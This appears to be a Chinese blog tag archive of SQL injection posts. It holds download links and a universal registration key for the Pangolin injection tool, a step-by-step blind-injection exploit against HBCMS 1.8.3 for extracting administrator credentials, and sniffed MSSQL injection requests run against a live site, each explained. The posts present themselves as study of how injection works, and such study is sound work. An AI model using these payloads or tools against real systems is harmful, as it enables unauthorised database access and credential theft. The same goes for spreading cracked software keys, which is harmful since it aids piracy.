Tag Archives: sql injection

地址1：http://u.115.com/file/f5e4695a48 地址2：Pangolin Professinal Edition 解压密码：www.tcp-ip.cn 地址3：http://i9.cm/tools/pangolin.zip  万能注册码:ADDB3DBF6567985B6A02120DC7492EC3ABCD

下载地址：http://www.rayfile.com/zh-cn/files/cd84b3d9-8040-11df-89d9-0015c55db73d/ md5: 韩国网站union注入欺骗登录.rar|98e05e358021377b7b4cec850997ddd7

影响版本： HBCMS(宏博)<=1.8.3 漏洞描述： HBCMS是国内比较知名的PHP内容管理系统，尚未开源，源代码使用zend加密。 符合以下三个条件，便可以通过MySQL盲注获得任意敏感信息，比如管理员帐户或者密码： 开启用户注册功能 开启文件上传功能 默认表前缀（hbcms_) 利用方法： 注册一个普通会员帐户 上传一个图片，图片标题一定要和下面的sql语句相匹配，比如标题填写“b” 在搜索栏的标题填写：b%"  and (select length(login_name) from hbcms_users where id=1)=5  and  "%a%"="%a，如果返回图片，说明为真，如果返回文字：“Nothing here yet! ”，说明为假。 测试用户名长度：b%"  and (select length(login_name) from hbcms_users where id=1)=5  and  "%a%"="%a 测试密码长度：b%"  and (select length(login_pass) from hbcms_users … Continue reading →

想了解sql注入的过程和原理，网上找了些文章，讲得都比较肤浅，但是我知道有几款国内比较常用的注入工具，比如Domain3.5、NBSI3.0、啊D2.32、还有Pangolin、还有一些国外的。这里随便弄几个来研究一下就ok。这次用到的嗅探工具是sniffx专门嗅探http的数据包，功能不强大，但是足够这次活动的使用。本来想使用ethereal或wireshark，但是里面复制数据包内容老是把没有转码的16进制也复制了过来，有点麻烦。也就是说这两个工具用得不娴熟。 【查询数据库信息】 本地没有找到好点的有注入漏洞的系统，只好在网上寻找了，先用Domain3.5，运行很好以来就找到个sqlserver，sa权限的注入点，点Domain3.5上面的“开始检测” 以下是Domain3.5中嗅探出来的http数据包： news_show.asp?id=15618%20and%201=1 news_show.asp?id=15618%20and%201=2 news_show.asp?id=15618%20and%20exists%20(select%20*%20from%20sysobjects) news_show.asp?id=15618%20and%20char(124)%2Buser%2Bchar(124)=0 news_show.asp?id=15618;declare%20@a%20int– news_show.asp?id=15618%20and%20char(124)%2Bdb_name()%2Bchar(124)=0 news_show.asp?id=15618%20And%20IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)=1 以下是NBSI3.0中嗅探出来的http数据包： news_show.asp?id=15618%20and%20user%2Bchar(124)=0 news_show.asp?id=15618%20And%20system_user%2Bchar(124)=0 news_show.asp?id=15618%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1 news_show.asp?id=15618%20And%20db_name()%2Bchar(124)=0 news_show.asp?id=15618;declare%20@a%20int– 啊D和Pangolin的数据包这里就不列出来了，都差不多。基本的过程是通过and 1=1和and 1=2来判断是否可注入，一般1=1返回http 200(ok),1=2返回http 500(internal server error)表示injectable。然后and exists(select * from sysobjects)来判断数据库类型，sysobjects是sqlserver每个数据库自带的用来存储数据库信息的表格，access每个数据库自带的表格是msysobjects。判断出来是sqlserver数据库之后，然后用系统自带的变量user,system_user和0比较，system_user是nchar类型，user是char类型，0是肯定是int类型，因为不同类型的数据在sqlserver中无法直接比较，所以对于开启错误提示的sqlserver来说就会报错，顺便将敏感信息也暴了出来： 关于user，system_user的解释，点上面的链接到msdn上去看看。 Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1中cast()作用是将一种数据类型的表达式显式转换为另一种数据类型的表达式。CAST 和 CONVERT 提供相似的功能。IS_SRVROLEMEMBER指示 SQL Server 2005 登录名是否为指定固定服务器角色的成员，返回值类型为int，0表示不是某某成员，1表示是。0x730079007300610064006D0069006E00是'sysadmin'的16进制码,为啥要弄成16进制呢，我猜想可能是怕网站程序过滤点sysadmin关键字,如果页面正常返回(200),则表示该用户是sysadmin。精心将int转换成nvarchar(1)又会暴出类型转换错误，而这就是黑客所需要的信息。db_name()回暴出当前数据库名。 ;declare%20@a%20int–申明一个int变量a，作用我不得而知。 接下来的工作是列出服务器上的数据库名：(假设服务器上有16个数据库) news_show.asp?id=15618 … Continue reading →